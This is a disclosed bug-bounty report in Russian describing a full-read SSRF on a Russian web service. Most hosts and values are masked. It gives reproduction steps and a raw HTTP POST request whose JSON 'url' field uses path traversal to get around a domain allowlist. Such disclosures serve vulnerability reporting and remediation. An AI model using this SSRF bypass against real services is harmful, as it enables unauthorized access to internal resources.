Здравствуйте, нашёл у вас SSRF. Хост {%mask_value%} выдаёт 403, {%mask_value%}.

Действует ограничение на доступ только к домена *.{%mask_value%}.ru и {%mask_value%}.me. 
Так же есть проверка на наличие {%mask_value%}
{%mask_value%}

Воспроизведение:

1) Идём в https://www.{%mask_value%}.ru/{%mask_value%}
2) {%mask_value%}
3) Выполняем какую-нибудь {%mask_value%}
4) Идём в {%mask_value%} ловим запросы и нажимаем скачать 

```
POST {%mask_value%} HTTP/1.1
Host: {%mask_value%}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/json
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Cookies:**
Content-Length: 78
{%mask_value%}
{%mask_value%}
{%mask_value%}
{%mask_value%}
Te: trailers
Connection: keep-alive

{"url":"http://{%mask_value%}/{%mask_value%}/../../"}
```
![2024-05-06_15-43-48.png](https://api.standoff365.com/api/bug-bounty/report-disclose/docs/e1efdc2f-4a10-4b98-bf0d-057f4f78b58d)
![2024-05-06_15-44-51.png](https://api.standoff365.com/api/bug-bounty/report-disclose/docs/ac1cd2d5-c18c-48a7-8cac-b9aa335cb25a)
![2024-05-06_15-48-46.png](https://api.standoff365.com/api/bug-bounty/report-disclose/docs/73b909e9-67b5-4365-bf47-c698176b6feb)

['{%mask_value%}] Full read ssrf

[
'{%mask_value%}
] Full read ssrf